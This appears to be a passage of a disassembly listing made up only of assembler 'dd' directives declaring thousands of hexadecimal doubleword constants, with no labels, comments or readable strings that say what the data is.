		dd 0A6012529h, 0FF6D2037h, 8050653Ch, 0FE45E48Bh, 0B97FCAh
		dd 12631177h, 6A390DAEh, 5FB0B617h, 27F22407h, 0A388A3C9h
		dd 1168F656h, 12FF38D5h, 9020670Dh, 350E305Fh, 3A11E36Bh
		dd 6C23F8h, 8B755A7Ah, 8C98BBBEh, 0C8144C00h, 712697Bh
		dd 1590A3F1h, 34786A78h, 0B4048C79h, 0D1DE45C1h, 9B01C48Eh
		dd 1831C1ACh, 0AC2DC5E7h, 3020B4C1h, 4E945654h,	9AA50E39h
		dd 85F1333Eh, 0A498A9D4h, 0B2180843h, 19C45287h, 183BC05Fh
		dd 0E41C6117h, 310B0800h, 6BC64A68h, 8C474C07h,	0C49C2C4Ch
		dd 88F27FEAh, 81587E5Ch, 8C68F8A8h, 0D64A6B0Fh,	54530721h
		dd 0AB6C04C9h, 5D18B360h, 11C96F23h, 0AB2B00FAh, 0E14C1C18h
		dd 2068B830h, 4A7C776Eh, 74112496h, 0D4F6130Fh,	66CA49h
		dd 215A3D30h, 0C59C5Fh,	6F4EF23Fh, 83277959h, 2964E237h
		dd 0DE9EA82Ah, 786463DFh, 8AD9EF02h, 50C600Eh, 465498FFh
		dd 18B402ACh, 33D16F5Eh, 0AC2C40ACh, 0CEE218h, 5F24849Bh
		dd 0DF28E40Ch, 0ECD6A800h, 6302C439h, 0C53B1244h, 88988B68h
		dd 51C0C01Ah, 0E4FB31EDh, 0A118B11Dh, 0B2A1F7E7h, 0E03900BAh
		dd 0D11BF903h, 3201202Dh, 164E5EFFh, 1030EB2Ah,	0E2F840ACh
		dd 23285758h, 0C1B00151h, 18B1DE41h, 0A897886Eh, 1114C100h
		dd 5728B9C5h, 9C0D0071h, 6764B52Dh, 4305FF20h, 1892E9E7h
		dd 0B8B6A404h, 186E3888h, 180B260Ah, 1090C1E0h,	0B002A846h
		dd 0B16F5A18h, 2810FB31h, 8F1718A8h, 9C17E004h,	0CEBFF802h
		dd 4460E759h, 0C2367071h, 83300006h, 0BB2C7C0Fh, 6C74E3BDh
		dd 0BFC8F513h, 6C880C8Bh, 0C84EADC3h, 2580D108h, 8417692Dh
		dd 66851311h, 50ACC1A3h, 7486D408h, 0A46E5C90h,	0DE2E42A0h
		dd 6408E71Ah, 115A6069h, 0E79312DEh, 8D7C1281h,	38A40290h
		dd 17A95930h, 385ADEB0h, 510098E0h, 4F1F09A9h, 9197C533h
		dd 63C98048h, 65228DCEh, 0E5535900h, 0D683A2A4h, 0C5A70311h
		dd 63EA549Fh, 0EEE70694h, 9DF40039h, 0CB5AE5B8h, 0EEE5F796h
		dd 6A114C97h, 4FC67682h, 0CFE200C0h, 0A2C1458h,	885FCE5Eh
		dd 0E3122F80h, 0E4439BDFh, 0F7B32CA2h, 89D2089Ch, 8C583Ch
		dd 0E4B69175h, 70EADE56h, 0A07D482Fh, 23942ED2h, 0CEB70070h
		dd 0D71E41CDh, 88298D1Ah, 0A1FCC060h, 13BA8057h, 0E0D03404h
		dd 0B0840E4Dh, 6F23803Ah, 0CF85D800h, 16316961h, 355BA024h
		dd 23FC2E60h, 2B5A076Dh, 10796039h, 831489B5h, 29467AAh
		dd 843714BAh, 36EC40B6h, 20D84A64h, 38BEEED4h, 3E454E17h
		dd 28FF0820h, 896F3FDAh, 687DC600h, 6792D33h, 0FC3138h
		dd 0DFEAE716h, 9CF74C12h, 37DD02ECh, 98E7D680h,	0F460FC44h
		dd 0E01E9598h, 7CE407B3h, 17BF3E0Bh, 806C91E4h,	5832EEFCh
		dd 16F09015h, 4AC56E0Eh, 703DE0h, 0E458F9BEh, 2307A014h
		dd 8B5C9E25h, 2F403BD0h, 60E2C32h, 12467EF0h, 0EFB09E3Bh
		dd 0AAA846E1h, 51A5F201h, 3E31D5CFh, 4100EC29h,	7F0C1428h
		dd 0DC07637Dh, 1DD62F5Ah, 0B43AFA20h, 0E6BF3ED8h, 5531E0B1h
		dd 0DB64E439h, 10E70430h, 0A4BE8307h, 0D7E106F4h, 315BE0F5h
		dd 17B7A881h, 0F8450BC3h, 2C6459A7h, 928CA582h,	8F9CCB4Fh
		dd 0FEDEF003h, 0CD4EF100h, 0D27B84E8h, 0DADE2802h, 0D37CFF0Fh
		dd 0DBE284FCh, 17504BE9h, 54FB88DCh, 63E83260h,	9084A4D8h
		dd 576E2004h, 80187F00h, 5BA31CADh, 89922A4Ah, 846418E0h
		dd 0DAF4B931h, 5E088CA4h, 97B53B3h, 0BC1FB5CFh,	9B806F91h
		dd 1BF0A55Eh, 0E7C4F506h, 2162CFh, 178C63C7h, 828E2E60h
		dd 0C301E473h, 0B214CEF3h, 0B120B919h, 0D164B1A6h, 0E07A186Eh
		dd 3F6A0091h, 0D989F8CDh, 8A2D18E0h, 915417BEh,	8FF2806Dh
		dd 1210178Eh, 400F3E16h, 92D3DE68h, 0C57550D9h,	0BECC8400h
		dd 0F877473Ah, 0DE00717h, 0D21C459Dh, 0A88F801Fh, 10E434A2h
		dd 0FB79C871h, 0AC5B3518h, 1B23583Bh, 6683F200h, 9052EB5h
		dd 9C51ED8Dh, 38140E0h,	0CF205090h, 7960B4F1h, 0FC081548h
		dd 183EC0A4h, 2A4A87ADh, 36FCEC2Dh, 244A3F18h, 34441A03h
		dd 84EA13E1h, 509CD858h, 1FC4674h, 64F65D22h, 0AF0D8B5h
		dd 91ACBAC0h, 1814D14Ch, 124801DBh, 94CCD6BBh, 4B99F75Ch
		dd 6FA08259h, 0E0109ADAh, 1287E534h, 0C080427Bh, 69AA2BF0h
		dd 0E7CA0F0Dh, 11FCA1F1h, 98A7125Eh, 330B00C1h,	6A0E1435h
		dd 562C6049h, 71BC0FD8h, 0CE4D44E9h, 659088h, 3470287Dh
		dd 5AB6277Bh, 7746900h,	715E4E59h, 434A4A12h, 5CE7BB48h
		dd 3A18A867h, 7F7B4308h, 0D4CDC9E7h, 0E558C1C0h, 63F0B0C2h
		dd 673C9975h, 0FAABB900h, 0CE9B6809h, 0B6B5005Eh, 612E9C35h
		dd 0A8769187h, 0C9A4A000h, 0BB46094Ch, 45F704E0h, 0E0241286h
		dd 0A3100794h, 630859C2h, 898404D7h, 0A0B0F69Bh, 7FBB01B4h
		dd 8884C0C7h, 0DCD040BAh, 0E4B0F75Eh, 644A7310h, 0A0A03C25h
		dd 0F8BD80E6h, 0A6F96A0h, 0DFFDA09h, 0F8C45Bh, 43971560h
		dd 66C6C21Fh, 0B602F517h, 5A6B6402h, 0EDD62055h, 0DE092FBDh
		dd 1056F383h, 80326604h, 0DD38B23Eh, 1251BE54h,	44807EF2h
		dd 5E71F3B3h, 3ECC6E16h, 6CD51CEFh, 0D12A0CBFh,	9E549159h
		dd 6D465EF8h, 0B805E00h, 93DEC3F6h, 0C857F330h,	40AEF20Fh
		dd 8326E217h, 40A650EBh, 3AC702DEh, 0FAF01258h,	368EC040h
		dd 0F1E0A701h, 56AF85F5h, 98913E0h, 0E5CC8BFFh,	289DD009h
		dd 499D6911h, 80804DC6h, 8DE7D5B4h, 0F1683E30h,	0D7C0F7h
		dd 3FCFD31Eh
		dd 0D544FD40h, 5601C17Ch, 72BD7EFCh, 5311B697h,	0FCC80E80h
		dd 0E95788C0h, 58913Eh,	3C7AEA9h, 153269F8h, 6CABE05Ah
		dd 18450440h, 396287B4h, 183DFCh, 13AC0111h, 0B1FEF1E1h
		dd 805EA525h, 0B3375FA4h, 83CE9B6h, 91F4E718h, 52008FF5h
		dd 40D7A3Ch, 9980A88h, 696EDC59h, 0E04B1801h, 3C984145h
		dd 8945363h, 0C250D898h, 801FC33Bh, 2438D34Bh, 2D6F3509h
		dd 3085B612h, 8654C2B4h, 179554F8h, 806F9134h, 0DED44C20h
		dd 667412D7h, 7A9404B3h, 9BE20015h, 0B180E9D9h,	63ECDB00h
		dd 0CD49A029h, 0DFF52632h, 18004900h, 0FD7C81D4h, 0DA2DB978h
		dd 0D2C8257h, 63608373h, 0DECFA00Ch, 0F96C9A5Dh, 0D37FB210h
		dd 2A4C6475h, 2C122CF0h, 56EDCE42h, 56B788C0h, 64646549h
		dd 0D46D606Bh, 1371FC45h, 8E1E62F2h, 0CF71C860h, 5B7740E0h
		dd 4B7EA2DCh, 0BB78CF04h, 0E8806E27h, 0B6553867h, 87640580h
		dd 0CEA04BF6h, 95934410h, 1B5C7100h, 0A1DD4021h, 0F16201EBh
		dd 6583642Fh, 7CF3C655h, 0A01978h, 0CE362831h, 3DBBD81Fh
		dd 0E6F85250h, 10D9631Dh, 5CF75820h, 3E34A622h,	68B01950h
		dd 0DA1B806Eh, 8036E3F2h, 3CD8D15Bh, 20623A72h,	0D45C8B3Dh
		dd 16E467Ch, 0E98A7683h, 7888B96Bh, 0DF0782CEh,	0ACB2C64Dh
		dd 8240D952h, 73EEE0BAh, 20F9E0BAh, 63186959h, 0AC12B4A2h
		dd 0E848D882h, 4400287Ah, 53770810h, 3ED73369h,	0FDB57867h
		dd 23183AE8h, 6A4E0072h, 0C28595E7h, 0A3CB9A01h, 307264DCh
		dd 6D88604Bh, 0A580B0C0h, 38705C4Dh, 5880710h, 13220A71h
		dd 0C24B8C02h, 72F884EAh, 87209B56h, 66F04C8Eh,	0F74C096h
		dd 6B87FC92h, 20E86A0Bh, 0B096F258h, 4674D0EAh,	0BE3E7C6Fh
		dd 0F7FB81BAh, 0DCF535BDh, 0DE04902Dh, 174378Bh, 0B9BBB536h
		dd 380E4560h, 99FC09AFh, 4B1496D4h, 0C0974FE0h,	80E1019Fh
		dd 29150EF6h, 0B3021033h, 3ED68995h, 0AEFF2063h, 65ECE1A6h
		dd 15B3900Bh, 0F6B60069h, 9155966Dh, 196BD184h,	947CFDCh
		dd 3176EA6Fh, 0BD2DB078h, 0A7FCA4E4h, 0B0184160h, 16428727h
		dd 2E39FEF8h, 8E86918h,	38095CBEh, 0E4D045C6h, 215A6015h
		dd 0AC4E01D0h, 3EB6465Eh, 66218008h, 0EA2989F4h, 5F7800CBh
		dd 56B4478Dh, 4892579Bh, 2D0AF509h, 0C45C6569h,	0F1BB6212h
		dd 9AEA8404h, 0E26F2003h, 44099772h, 389DFCC2h,	0EF807011h
		dd 0DD1611F7h, 0B9B5A702h, 52E36438h, 40E75058h, 375B013Fh
		dd 3D248760h, 2E218011h, 6B795851h, 0ADE00EEh, 2A570BF9h
		dd 0DF02533Dh, 3CF0F8CDh, 1AF4A05Eh, 389AA9h, 32F35FEBh
		dd 40A564ACh, 445E2E0Bh, 0DCA4103Eh, 0F20160Ch,	0A76080D1h
		dd 3A547B07h, 0DE12B2E4h, 8440D3BBh, 89A52D11h,	2C71F6D7h
		dd 5E185022h, 8354FD21h, 0CCDB4166h, 40729BDAh,	465E58BEh
		dd 0D0725A68h, 0E027EBh, 53C2C2Ah, 162020B2h, 703A4864h
		dd 7E30EAEDh, 89BA07FEh, 9038EB4Ah, 727387C6h, 63480295h
		dd 0E72844DCh, 8F00EC32h, 1B667687h, 3C48CD63h,	0C261024h
		dd 473AB400h, 0E80DD864h, 7AD030D0h, 5804F45Fh,	888B951h
		dd 3C0504A3h, 81E056EFh, 48AAE6B5h, 0B3F64460h,	795A8707h
		dd 24878104h, 20C1B47h,	0C3560046h, 0CA91D89Ah,	4300298Bh
		dd 4E8C17Bh, 70E2F766h,	6157786Ah, 5F203303h, 7C89C8C3h
		dd 14292454h, 574788h, 95294CC3h, 628054Dh, 0EDBD0B0Ch
		dd 642B0C16h, 615054D8h, 89C8C358h, 1A448C44h, 0C3500040h
		dd 0D6E37482h, 9A001449h, 0F91FE781h, 30585362h, 0F5AF88Bh
		dd 16F7588h, 0D5B54336h, 0B9761824h, 83F94D07h,	90CC170h
		dd 1E0F058Dh, 3B5F1D50h, 5686CDD9h, 88520B3Fh, 730FC01Bh
		dd 0D8001417h, 81600D7Bh, 14970CEh, 0F78B636Ch,	91D98C66h
		dd 5B87535Ch, 5C8922C3h, 43101C31h, 2A00C353h, 0DB9C9BE6h
		dd 182D126Ah, 2310E91Dh, 177C59F5h, 0B756B600h,	0A9D7A8E2h
		dd 0B57B00E0h, 3CBF2781h, 301D26Eh, 0F04C1F6h, 84C2B984h
		dd 5D615575h, 6C89C8C3h, 4516448Ch, 0E7C35500h,	95FF5105h
		dd 0A30351FDh, 0DFC0241Ah, 12E906BEh, 790B17D3h, 2B3280FBh
		dd 7BBFD81h, 0AC4D5419h, 27BED0E3h, 10C5B13h, 78227DBDh
		dd 0C3DE0E81h, 2B0EDAB2h, 0D910FCB4h, 71E86E2Ah, 6D853106h
		dd 3D101818h, 0FA410834h, 532307DBh, 0C8DB523h,	0E9355F24h
		dd 833A1B4Fh, 9A001C23h, 0B05A33EBh, 7EDB0390h,	0FA8B66F3h
		dd 247C092h, 62631844h,	1B229688h, 0F520AA90h, 0F68B6A2Bh
		dd 8F5291ACh, 8989BC5Ah, 0CD61C54h, 8FC35242h, 0BDE4F096h
		dd 52265930h, 602985C7h, 0D39F0C2Ch, 2FA51EE7h,	30601CC4h
		dd 9801BBF6h, 249BCEB0h, 0C5416085h, 0F001749h,	0C0A4028Bh
		dd 98615B3Ch, 6613048Dh, 0A3CE28BEh, 44C9A799h,	0DC186019h
		dd 303312C9h, 0BD0D0421h, 0A6810E02h, 4D0C0DC1h, 0F120FD0h
		dd 8B442085h, 40F1FFFBh, 2F61BF12h, 142C848h, 485DFAB7h
		dd 20A9B5FFh, 1817F17Fh, 70A00390h, 0F3B70F9Fh,	1E3DA010h
		dd 4165AD50h, 0C9A62004h, 0A0901440h, 1433F3D7h, 3E1E89B5h
		dd 18C1AE8h, 0D7C8F6CFh, 23CB1B49h, 4FFD00C1h, 0AA89FDBh
		dd 0F1F606h, 0CCC0F0B9h, 94B12EBBh, 16315C24h, 1C503310h
		dd 0F2D4039h, 7CE78E52h, 569AF164h, 0C8C35E61h,	0DAA77489h
		dd 918B4826h, 98000F5h,	348D2981h, 9BE812B9h, 72D7C0CAh
		dd 16743C53h, 1FC5B75h,	0B119E21Dh, 0A2EC2336h,	0EB62301Dh
		dd 56A39B00h, 9EDFB23Ah, 0F2CBA01Ah, 95091451h,	6B49D681h
		dd 181CEB80h, 0F300A229h, 4CAC48AEh, 651DA35h, 60A15833h
		dd 0BD137630h, 0A77B344Dh, 6C935B0Bh, 0E6B20C18h, 0CF0049F2h
		dd 818377A5h, 7A451E5h,	8FBAF7Ah, 0FFF793E9h, 0AEB06088h
		dd 71B52B13h, 8B61AC43h, 518823C1h, 45C3590Eh, 0BA384C89h
		dd 0C3510041h, 0D460E516h, 8203B194h, 0FD8D89B7h, 0EB582421h
		dd 6F124EEFh, 721C009Bh, 0BBBE6D7Ah, 7D8803D0h,	0C499D89h
		dd 0F10C6062h, 2CB0817h, 5858DF9h, 0D9296769h, 0F9C2475h
		dd 5BCB807Ch, 0F6D60066h, 348950F3h, 49C2404h, 272345C9h
		dd 6B69B5D2h, 10560A21h, 76D72C09h, 6D391946h, 0AD5AAE84h
		dd 4DFE81C7h, 0C083001Ah, 0E78EAD05h, 3447417Dh, 0B1133150h
		dd 2855CCBh, 0BD2B6340h, 846FB3Dh, 26652620h, 0D431453Ch
		dd 23FE3A9Bh, 42570115h, 860D8589h, 99B50BCFh, 9D8D0753h
		dd 0C92B94F3h, 18110E9Dh, 84AE9780h, 0FF03D615h, 0B1BD03D3h
		dd 85BB0820h, 467C1659h, 6D130018h, 0E9212B4Dh,	6E10BA1Dh
		dd 5D0123E8h, 501AED81h, 93BF66F9h, 0F024F358h,	0C9013E86h
		dd 0ED81BF0Dh, 19F99Dh,	1DCBE681h, 9C589CFEh, 2E2B34E3h
		dd 217235Ah, 3BD9CF4Dh,	0E0D76041h, 0DB580BF8h,	0F0892E65h
		dd 0E9F101FCh, 0C0BD83A3h, 0CCF2B107h, 27A62384h, 342D0840h
		dd 177DE90Dh, 0B8313D5h, 5EDD9155h, 1C31098h, 14031B00h
		dd 38605904h, 7D681739h, 3034108Ah, 44220128h, 0AAF6520Ah
		dd 266FF701h, 168C9E39h, 0D9AB47FDh, 0B972784Fh, 0EF843BA4h
		dd 0A8E019ADh, 0FEE06F61h, 82F1A68Dh, 0AE2D0ABFh, 31E5908h
		dd 0FEFF2381h, 661D3B97h, 0A4801811h, 0F572797Bh, 32825E98h
		dd 8C21E885h, 234025C7h, 0DB8C0966h, 0F941C3F6h, 0DBCD152Ah
		dd 0DD53098h, 0E1A65150h, 34CFD200h, 655C1E67h,	0ADF9005Dh
		dd 107FE724h, 0CA09D341h, 0A25F4605h, 695CE932h, 9829B0ECh
		dd 0C63878BCh, 0BE06806Eh
		dd 0E6D3676Fh, 0B9600470h, 0C09B513Eh, 0E961FB65h, 0B3390960h
		dd 138AEA3h, 67F3B147h,	3371E497h, 301DA22Dh, 0F000854Dh
		dd 0B9C752BCh, 27F917FEh, 581DB60Fh, 0C841511h,	0DFCB8029h
		dd 0BA529106h, 0E24F42D7h, 32B3015h, 0D59D0909h, 3BFA4405h
		dd 1069C1B5h, 8E9DA60h,	0B1537C0h, 1333C0DDh, 84D40E99h
		dd 0FE88C0E7h, 0B9BD82Bh, 4C226978h, 587F7EE4h,	2112EB7Eh
		dd 31243210h, 0E4E89302h, 0B762007Dh, 4DB230CEh, 0D3F0A14Ah
		dd 0FAB37D1Ch, 0E4360980h, 0C15250F8h, 0F96AA54h, 0B00C9E31h
		dd 5F585A85h, 93F76580h, 550C64E9h, 0BEB9C183h,	0C2FDC824h
		dd 255FF238h, 51C83A6Bh, 181659B0h, 40072C60h, 1445095Fh
		dd 0BE03C44Eh, 31596F1h, 88B284B0h, 75301BF2h, 4E050002h
		dd 1DC679E7h, 45279589h, 0A572421h, 1A02604Bh, 50012BCDh
		dd 8721615Ah, 17881F4Eh, 4F25F9C0h, 0BA68B893h,	9D95A2A7h
		dd 801D116Dh, 71D07543h, 0EA320BBDh, 0A0803552h, 3CD11FBFh
		dd 830F6107h, 930A0255h, 71D4676h, 5DBF9B97h, 9C56ED30h
		dd 0E96A18C4h, 16AB250Bh, 0E10FEB1Fh, 5E8F881h,	4120263Ch
		dd 0E507FBE5h, 0F034A6B6h, 935E52Dh, 0AFE915F9h, 0A37DE000h
		dd 5324325Ch, 0D60EE951h, 5E5FA4F3h, 0C820EB8Dh, 0FCE48A17h
		dd 4C65E50Bh, 1CB6F89Ch, 0C79E29BCh, 378D18C0h,	84B64483h
		dd 0C007DBE5h, 0F59D6146h, 98FF92DBh, 4415E13Ch, 0C4BD23F8h
		dd 81BDF400h, 6F95C70Bh, 130ADE3Bh, 23D53A58h, 0D1EB0118h
		dd 699D3DBCh, 0A75D22BBh, 601744BCh, 26D3D977h,	0B6AF882h
		dd 0DB4C0251h, 0DC999Eh, 50A84574h, 0B8EA601Bh,	0FE03355Ah
		dd 84059531h, 0FDFCD313h, 0C0589E84h, 0BDA13F6Dh, 64A604E2h
		dd 0CCD5467Eh, 730F7DC6h, 247A9F9Dh, 0C3C224C1h, 0A006D8FBh
		dd 2DCC2B30h, 0CE11655Dh, 0C1D56296h, 1E6DB589h, 0DC9D5B02h
		dd 0C8801911h, 30FE6864h, 482B023Ch, 95BAC055h,	8FD57Dh
		dd 0A6D3BD58h, 987BA58Bh, 0D2A77005h, 9BA64C3Eh, 0F9994429h
		dd 6B51817h, 0E9822CD7h, 0F261940h, 0E844C78Fh,	1961E4h
		dd 1B037074h, 0C77FF495h, 0F141C1Eh, 9DCD9480h,	9BE665Fh
		dd 0C08BEC3Dh, 198EFBB7h, 0A3911633h, 1F800FE9h, 4C979402h
		dd 4A01C136h, 9D2B390Dh, 0D9F01C47h, 96857AC7h,	79DF023Eh
		dd 5F40721Bh, 378203A9h, 84728448h, 0E735C359h,	0D7A0E8B3h
		dd 19F69BB7h, 32795CB4h, 19F29523h, 0FA357D30h,	0F96D33A7h
		dd 20E2CE78h, 0F8D80D1h, 0CCC2338Ah, 0CDF2C5B4h, 5E968A0Bh
		dd 0C4131C6Eh, 0F216F90h, 0B2F57C71h, 2302AE12h, 0A29B5BDh
		dd 0DA1199Ch, 380BFD0Fh, 2CF80F9h, 5D9D893Ch, 6038AC19h
		dd 99852986h, 8D10E10Fh, 61011E7Dh, 82DA95B9h, 0C1BFFC07h
		dd 0F8085366h, 39EB044Ch, 0B6615EC4h, 2377E0E5h, 0BC6A68DCh
		dd 0F064BA9h, 18C4BDD1h, 560F2185h, 0D818ABDh, 20450871h
		dd 3C305E13h, 4A32F49h,	0A7160F0Ah, 0EEA2E8h, 0DAB6C610h
		dd 0F5AF94h, 0EC68F275h, 4D63CF57h, 9C0ED10Bh, 5F085DCh
		dd 0D7CE8C12h, 66C01A88h, 1C3F3E97h, 8220BF88h,	7490B434h
		dd 0D2E0534Dh, 26A750C4h, 2017B2F2h, 33600A67h,	87D9359Dh
		dd 80A46EBFh, 0EF816155h, 3B6300Bh, 257E824Dh, 10E90011h
		dd 5AE3FFF8h, 503DC045h, 5821B806h, 7D14B2F6h, 718FD81Dh
		dd 826024B0h, 0B9B127DEh, 852120Eh, 9850658h, 6CA035BDh
		dd 568D4E21h, 11E6F37h,	4CECCF9Ah, 8D4160F5h, 51022169h
		dd 0C0D59A85h, 615964ABh, 2BB56CC4h, 1588EB8Fh,	708739C3h
		dd 0E54886CAh, 65D0B0h,	8F1BBA66h, 9801E183h, 9E25706Bh
		dd 0F27FF48Eh, 73A98358h, 70693EA3h, 641247CEh,	1188601Bh
		dd 0BC053A68h, 4221412h, 1112ADCCh, 0A00A225Dh,	0A022D9CEh
		dd 6D8B70h, 0AFBB6061h,	0FC684299h, 0E95BF8A6h,	0A0824840h
		dd 0A99F3672h, 880F25C0h, 9AE0C018h, 30622887h,	5B2D914Ch
		dd 4FE7D091h, 2A7BC54Ch, 2543A6C7h, 6B301AE2h, 722704A7h
		dd 0C05E1D03h, 876FC2A3h, 2F48A4A6h, 8C1CFC01h,	0EE931D00h
		dd 0D87105C7h, 0BBE702AEh, 2ADBCD19h, 3D397B41h, 4E8C439Bh
		dd 95005E6Eh, 3EAE31BBh, 8D27ED70h, 9FD8443h, 880C0C9Ch
		dd 0CD209529h, 6A219003h, 2D0E8B4Dh, 220027B7h,	31D37626h
		dd 0A12991D6h, 181D7126h, 27A401DCh, 0C2318729h, 23ECD09Eh
		dd 0CD18513h, 87864025h, 0EECEAD0Ch, 0D3F61821h, 0C9944153h
		dd 2A580322h, 1686315Ah, 84FDBD2Bh, 0A578C466h,	7ED7060Ch
		dd 36D834B3h, 0A1BD1533h, 21C9CF2Dh, 1991371Fh,	0FAC78D80h
		dd 0A0FF985Fh, 449664A4h, 5A0C00DCh, 61E7C6F3h,	1D91E8ECh
		dd 0E0089307h, 276B1Eh,	0ADA1CFD0h, 73BF02DCh, 5B23AFE7h
		dd 9F2469A4h, 0CFFC80A0h, 940A73Eh, 0B4D8C74Bh,	870F5002h
		dd 0F949D7DAh, 58AD236h, 1C016C8h, 51B06D72h, 452BFEC8h
		dd 0D6FD8A3Bh, 0B4BA16B2h, 3DCFE875h, 0A09E023h, 9237ADh
		dd 9A689087h, 0FDBB3AFFh, 746B4905h, 29418B5Fh,	2EE5B501h
		dd 6416F95Dh, 0FB34822Ch, 0E6A707Bh, 65632702h,	543BAF3Ah
		dd 6A36223Fh, 0DE5A2F22h, 858B2108h, 0B3C4A08Dh, 437178CAh
		dd 0BB0415E2h, 85C79FB1h, 9B4A28B7h, 5D2E80DBh,	62B0FD34h
		dd 61CBFABDh, 14447D47h, 0C6872862h, 0F800D849h, 9D6107EBh
		dd 1C9F95E9h, 3801891h,	23DDD4E7h, 2940F296h, 3C4E04Ch
		dd 7C1BFC6Eh, 93B8B3C7h, 2EEBEE27h, 0C41C396Eh,	0A9104257h
		dd 5C015BBh, 0E41D59Dh,	60E9C1D8h, 66603175h, 0A84ED88Ch
		dd 8135FC08h, 0B5FF016Ah, 8DF750D5h, 6F3B5885h,	0D04C7C2Bh
		dd 53C86C87h, 0EFC10CFEh, 43C680Ch, 47B8206Eh, 0DA75702h
		dd 26F10104h, 72E91A02h, 0B3C65C18h, 6560054h, 0C530DF68h
		dd 14F67EA9h, 219D0A8Dh, 46AD170Eh, 7C6A50E0h, 6E560534h
		dd 0C3611201h, 0EBD4E0C1h, 1C8F004Fh, 8ABFA25h,	0DA1EC6A1h
		dd 0D487A4ACh, 0E4175CD2h, 3134CE00h, 0F1B75F5h, 0D129B327h
		dd 0C7DD5B20h, 177CE62Ah, 67F4DFFCh, 53A6DB38h,	0B487E001h
		dd 235207DDh, 89ED920h,	6058E989h, 4BBD292Ch, 837F0ECDh
		dd 482915C9h, 2367B861h, 3016F2E6h, 0FC06A891h,	161BD8Bh
		dd 28769056h, 0BC44B8CFh, 873DC62h, 35D94100h, 96E1CF45h
		dd 93290E7h, 9815F681h,	616140D8h, 4C2D608h, 0A572042Eh
		dd 0C0D31F25h, 8C02EF08h, 49FCD6B1h, 62750144h,	14C51209h
		dd 50137420h, 0B83CC253h, 8D0004D0h, 48A3329Dh,	0D30A1A2Ah
		dd 0C41C585Bh, 0C41A1011h, 8B60A27Fh, 0DB961995h, 0C0414D27h
		dd 461B3EDBh, 615BA805h, 20D2A698h, 62798A21h, 2C170105h
		dd 1BC828CEh, 7EB6C2C0h, 0FE5E01A0h, 0BD31D66Eh, 400A3841h
		dd 8A13D2BFh, 77B390DAh, 50D40C79h, 561111E9h, 0A4BE8D1Eh
		dd 49AAB841h, 0C06F8E70h, 0CCB1764Dh, 0E76F40D6h, 0A61C1900h
		dd 0E8B0024Eh, 0DE908D0Ah, 0BD088351h, 0A65A1833h, 0F65003DAh
		dd 1642BE87h, 9BAC8459h, 726FE304h, 0E7AC90DBh,	0D0D65587h
		dd 0B27C78ECh, 4E82105h, 6DCC5650h, 247A0313h, 83B8483Ah
		dd 0B4F4ACF0h, 22E8C528h, 5AA92100h, 4BC8BA6Eh,	4959394Fh
		dd 4925F31h, 856E3B24h,	7E155C00h, 0AA6A2385h, 1FE25D98h
		dd 3F4B896h, 0A2C70555h, 214E8B31h, 8D95FCD0h, 84689412h
		dd 22C16E9h, 0C1A01BDh,	0B79F0833h, 0B2880110h,	2BCB1AF5h
		dd 36BB9220h, 50A35C76h, 0B2B6CA1Dh, 6620FD7Ch,	909D3DBAh
		dd 91B290CEh, 4BEE9171h
		dd 0D8E04A20h, 383C2677h, 50061112h, 0E415D24h,	47242736h
		dd 1A46741Fh, 0ADA08300h, 0EBCBB5E5h, 0D39EF550h, 5B61B4CCh
		dd 2CF07368h, 60E4B2D5h, 0E7FB9CBBh, 0A30021B0h, 76C22E1h
		dd 0F8844ECh, 2434810Ah, 664FA142h, 18442467h, 86AA3F60h
		dd 8E7EE02Ch, 830F60C1h, 0E92F6122h, 3AFE59A0h,	2E024F8Ah
		dd 9589F2FDh, 612A48B5h, 0E7813E57h, 3075BD85h,	2DB0995Ah
		dd 5CFB83Fh, 0F7DAAB4Ah, 0D6A6C29Fh, 81C89B84h,	406A52Dh
		dd 0F309DDC9h, 0FB41CFF9h, 80C2C21h, 11809FB5h,	0AF6B811Ch
		dd 0A6C4C9A2h, 571124D1h, 0AF4D5A09h, 60825060h, 4A740BCBh
		dd 6464BB42h, 0FCEC5F00h, 0DC5D8691h, 1A4A009Ch, 4E3E442Ah
		dd 4526CC0Ah, 41108B0h,	0FB5E200h, 50D78B8Ah, 0D191FBE6h
		dd 0D0F9BD3Ch, 37998782h, 2F52500Eh, 6031435Ah,	8034AD61h
		dd 698D4DC0h, 9B28212h,	30AC55Eh, 0ED52EC94h, 99CC4159h
		dd 20E4FD71h, 1253AD21h, 0F9B509E5h, 12269221h,	0E0116DE3h
		dd 0E0C819B7h, 91E8A072h, 5175DA00h, 1E643CBFh,	155A482Fh
		dd 0C80E0110h, 1D7EB119h, 89003217h, 11629D56h,	9B5F801Dh
		dd 0FBBCE7h, 9D788C7h, 860F5022h, 0E58024A0h, 68596C00h
		dd 0C8F76623h, 9FF9881h, 0B280716h, 7780A237h, 0CB0834C2h
		dd 9180055Ch, 0AC8F0F42h, 90BA8245h, 0D3F5B2F8h, 3C4A70BDh
		dd 2B111D12h, 81141556h, 9B8BA415h, 5AC11D88h, 8AFC2F94h
		dd 37440469h, 0C8E8D2A3h, 2202AB47h, 0E40FC85Eh, 9B6603h
		dd 1B086468h, 57171CB8h, 52E3D000h, 4B18DED4h, 9535905Ah
		dd 6F5BC90h, 0CDA2CB00h, 9A6D4E6Bh, 0B948C2h, 0E82C0D52h
		dd 3BA94016h, 2D086FE4h, 9602840Fh, 13D61550h, 0BD296C83h
		dd 682CA095h, 907CBB09h, 8BAC85BFh, 0A4B8BF30h,	15BBE8D7h
		dd 0F961DFCBh, 74F3C805h, 239A3A1Bh, 98590516h,	2DCB81EEh
		dd 36D40410h, 890DBDA3h, 92DF799Dh, 7CD1292Bh, 0BDF23BBBh
		dd 48B80BD9h, 502F2003h, 24D3FBB0h, 6357BA04h, 3E870EC4h
		dd 24B1A0F8h, 49FE1855h, 2C15EB03h, 0ED5DA17Eh,	9B5BD7h
		dd 6BF2C80h, 89FBAA46h,	682165EEh, 4217097Ah, 1417B2Ch
		dd 4E4082D9h, 152EC181h, 0EC32E616h, 0C3374989h, 308A1580h
		dd 1319D1BEh, 30FCFA12h, 1529E9DFh, 63C48C4Eh, 10CAE082h
		dd 0F81F02BAh, 0DDA60BB7h, 0DD90E5A0h, 410EE830h, 858E5Ah
		dd 84E302B3h, 796D2728h, 5D56EC06h, 0E0278D0Fh,	2FF59B59h
		dd 0BFD81F1Bh, 1224E67Ch, 13AA7C09h, 7B9319ACh,	0C5D078h
		dd 647F5B2Eh, 0E3A4E8C1h, 73493291h, 3EC8504Ch,	2F76EA07h
		dd 5B50D596h, 90CE8B3Bh, 0A837B723h, 5C8E1300h,	8763CB5h
